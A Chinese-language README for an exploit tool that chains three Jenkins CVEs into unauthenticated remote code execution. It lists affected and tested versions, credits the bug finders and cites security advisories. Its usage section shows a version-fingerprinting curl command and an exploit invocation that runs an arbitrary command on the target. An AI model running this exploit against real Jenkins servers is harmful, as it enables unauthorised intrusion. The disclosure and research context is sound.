awesome-jenkins-rce-2019

自 2017 年 5 月以来，Jenkins 一直没有未认证 RCE，但这就是那个例外！

它将 CVE-2018-1000861、CVE-2019-1003005 和 CVE-2019-1003029 串联起来，实现了一种更可靠、更优雅的未认证远程代码执行！

受影响列表

• ANONYMOUS_READ 禁用

  • Jenkins 版本 < 2.138

• ANONYMOUS_READ 启用（或使用普通用户账户）

  • Jenkins 构建时间 < 2019-01-28

用法

$ curl -s -I http://jenkins/| grep X-Jenkins
X-Jenkins: 2.137
X-Jenkins-Session: 20f72c2e
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000

$ python exp.py http://jenkins/ 'curl orange.tw'
[*] ANONYMOUS_READ disable!
[*] Bypass with CVE-2018-1000861!
[*] Exploit success!(it should be :P)

测试环境

• Jenkins 2.53
• Jenkins 2.122
• Jenkins 2.137
• Jenkins 2.138（ANONYMOUS_READ 已启用）
• Jenkins 2.152（ANONYMOUS_READ 已启用）
• Jenkins 2.153（ANONYMOUS_READ 已启用）
• Script Security Plugin 1.43
• Script Security Plugin 1.48

致谢

• 感谢 @orange_8361 发现 CVE-2018-1000861
• 感谢 @0ang3el 发现 CVE-2019-1003005
• 感谢 @webpentest 发现 CVE-2019-1003029

以下是我 HITB AMS 2019 演讲的部分幻灯片：

参考资料

• 攻击 Jenkins（第 1 部分）：玩转动态路由
• 攻击 Jenkins（第 2 部分）：滥用元编程实现未认证 RCE！
• Jenkins 安全公告 2018-12-05
• Jenkins 安全公告 2019-01-28
• Jenkins 安全公告 2019-03-06